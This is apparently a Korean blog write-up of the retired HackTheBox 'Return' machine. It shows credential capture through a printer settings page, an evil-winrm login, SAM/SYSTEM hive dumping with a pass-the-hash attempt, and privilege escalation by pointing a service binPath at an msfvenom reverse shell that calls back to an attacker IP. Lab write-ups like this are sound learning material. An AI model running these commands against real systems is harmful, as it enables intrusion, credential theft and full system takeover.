이번 머신은 리타리어 되어있는 Return이라는 머신입니다.
nmap -sV -sC -Pn 10.10.11.108 -p
53,80,88,135,139,445,593,636,3268,5985,9389,47001,49664,49666,49667,49671,49675,49679,49694,49724
열려있는 포트들을 스캔해줬습니다.
Kerberos, LDAP, SMB, Winrm, HTTP 등이 활성화 되어있네요
특이한 점으로는 47001 포트에서도 Winrm이 활성화 되어있습니다.
먼저 SMB와 LDAP에 대해서 null세션 로그인이나 Guest 계정 로그인이
가능한지 테스트를 해줍니다.
SMB에 대해서 익명 로그인은 가능했지만 Guest 계정은 로그인이 불가능 합니다.
아무래도 Guest 계정의 초기 패스워드를 변경한 것으로 추정됩니다.
null 세션 로그인이 성공했으니 쉐어 목록을 확인해줬는데 권한이 없습니다.
로그인만 가능하고 아무런 권한은 존재하지 않는 것 같습니다.
LDAP은 반드시 로그인이 되어야 하기 때문에 어떠한 계정이라도 있어야 하는데
Guest 계정의 초기 패스워드가 설정되어 있기 때문에
LDAP과 SMB에 대해서는 더이상 할 수 있는 것은 없어보입니다.
그래서 HTTP 프로토콜에서 취약점이 있는지 찾아봅니다.
페이지로 접속하면 프린터기가 있는 페이지가 있는데
해당 페이지의 세팅 화면에서는 주소, 포트, 계정정보 입력란이 있습니다.
AD 환경에서 만약 사무실 내에 프린터,복합기 등이 공유자원이라면
각 사용자들의 SMB에 접속할 권한이 있거나
크리덴셜 정보들이 있는 경우도 있다고 합니다.
혹시나 다른 경로가 있을까 싶어서 ffuf로 디렉토리 스캔을 해봤는데
결과는 딱히 없었고, Server Address 부분만
printer.return.local이 아닌 내 로컬 IP로 변경하면
나의 로컬 IP로 프린터가 연결됩니다.
위와 같이 svc-printer로부터 전송된 정보가 있습니다.
사실 원래 이렇게 크리덴셜 정보만 곧바로 주는 것은 비현실적이겠지만
우선 이 정보를 통하여 svc-printer 계정으로 접속이 가능합니다.
evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
시스템에 침투한 이후에 제일 먼저 whoami /priv를 통해
어떤 권한이 사용 가능한지를 체크해줬습니다.
그런데 권한 중에 SeBackupPrivilege 권한이 존재하네요
해당 권한이 있으면 SAM과 SYSTEM 파일을 이용해서
사용자들의 NT 해쉬값을 추출해서 권한상승이 가능하다고 이전 머신에서 배웠던 적이 있습니다.
C:\Windows\Temp 디렉토리로 이동하여 각각의 파일을 복사해준 뒤에
로컬로 다운로드 해줍니다.
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
download SAM
download SYSTEM
evil-winrm -i 10.10.11.108 -u administrator -H '34386a771aaca697f447754e4863d38a'
하지만 이렇게 NT 해쉬 값을 가져왔음에도 로그인이 성공하지 않습니다.
이러한 이유는 이렇게 SeBackupPrivilege 권한을 가진 상태로 하는
권한상승 공격은, 무조건적으로 성공하는것이 아니라
단순히 SAM 파일에 저장된 NT해쉬 값을 복원하는 것 뿐이라서
만약 해당 NT 해쉬 값이 최신화 되어 있지 않는다면 권한상승에 당연히 실패하는 것이죠
그 다음으로 체크해봐야 할 것은 현재 유저가 속한 그룹
즉 현재 유저에 대한 정보입니다.
net user 을 통해서 현재 사용자 정보를 획득할 수 있습니다.
현재 사용자가 Server Operators 그룹에 속한 것이 확인됩니다.
해당 그룹은 AD에서 상당한 권한을 가져서 Microsoft에서는 공식적으로
관리자 계정으로 간주한다고 공식 문서에 나와있습니다.
그리고 요즘은 구글에 소스가 워낙 많아서
Server Operators Privilege Escalation 키워드로 구글 검색을 하면
어떻게 해야지 권한상승이 성공하는지 친절하게 나와있습니다.
제가 참고한 문서는 아래 링크입니다.
https://www.hackingarticles.in/windows-privilege-escalation-server-operator-group/
이 권한상승 방식을 사용하려면 몇가지 조건이 필요합니다.
서비스 목록은 services 명령을 통해서 확인이 가능합니다.
몇가지 권한이 존재하는 서비스들이 존재하는데, 이런 서비스들 중에서도
바이너리 경로를 조작했을 때 재실행이 되지 않는 서비스들이 몇가지 존재합니다.
여기서는 VMTools 를 이용하겠습니다.
먼저 msfvenom을 통해서 리버스쉘 실행파일을 하나 만들어줘야 합니다.
이 권한상승 기법은 서비스의 바이너리 경로를 악성코드로 조작함에 따라서
서비스가 재실행 될 때 악성파일을 실행하고
해당 악성파일이 실행됨에 따라서 저장하고 있던 리버스쉘 연결 코드를 동작시켜서
포트 대기중이던 로컬에 리버스쉘이 연결되는 취약점입니다.
그래서 nc.exe 혹은 리버스쉘 실행파일이 필요한데,
nc로 연결하게 될 경우 쉘 자체가 불안정한 쉘입니다.
리버스쉘 치트시트인 revshell에서 연결해보신 분들은 아시겠지만
해당 쉘 자체가 덤쉘일 뿐더러 nc 등으로 연결한 쉘은 연결을 시도한 호스트에서
동작 자체가 끊길 경우 리버스쉘도 같이 끊기게 되는 불편함이 있습니다.
그래서 Windows의 경우에는 Linux와 다르게 파이썬 자체가 기본적으로
설치되지 않기 때문에, pty 모듈을 이용해서 쉘을 업그레이드 하는 것보다는
msfvenom을 사용해 쉘 업그레이드 하는 것을 추천합니다.
msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.6 lport=4444 -f exe > shell.exe
이렇게 생성한 리버스쉘 실행파일은 upload 명령을 사용해서 Windows에 업로드 가능합니다.
C:\Windows\Temp\shell.exe 파일이 설정되었다면
sc.exe를 이용해서 바이너리 경로를 수정해줘야 합니다.
sc.exe는 Service Control의 약어로 서비스에 관련된 제어를 하는 실행파일입니다.
sc.exe stop/start [서비스명] 으로 실행/중지를 할 수 있고
sc.exe config 를 통해서 설정 옵션을 변경할 수 있습니다.
sc.exe config VMTools binPath="C:\Windows\Temp\shell.exe"
먼저 VMTools의 바이너리 경로를 shell.exe가 존재하는 절대경로로 변경해줍니다.
그 다음 로컬에서는 리버스쉘을 받을 준비를 해줍니다.
sc.exe stop VMTools
sc.exe start VMTools
기존의 서비스를 중지한 이후 바이너리 경로가 변경된 서비스로 다시 실행해주면
시스템 권한으로 권한상승이 성공됩니다.
[HackTheBox] Active (0) | 2024.10.29 |
---|---|
[HackTheBox] Sauna (1) | 2024.10.29 |
[HackTheBox] Sightless (0) | 2024.10.16 |
[HackTheBox] Timelapse (3) | 2024.10.15 |
[HackTheBox] Cicada (2) | 2024.10.13 |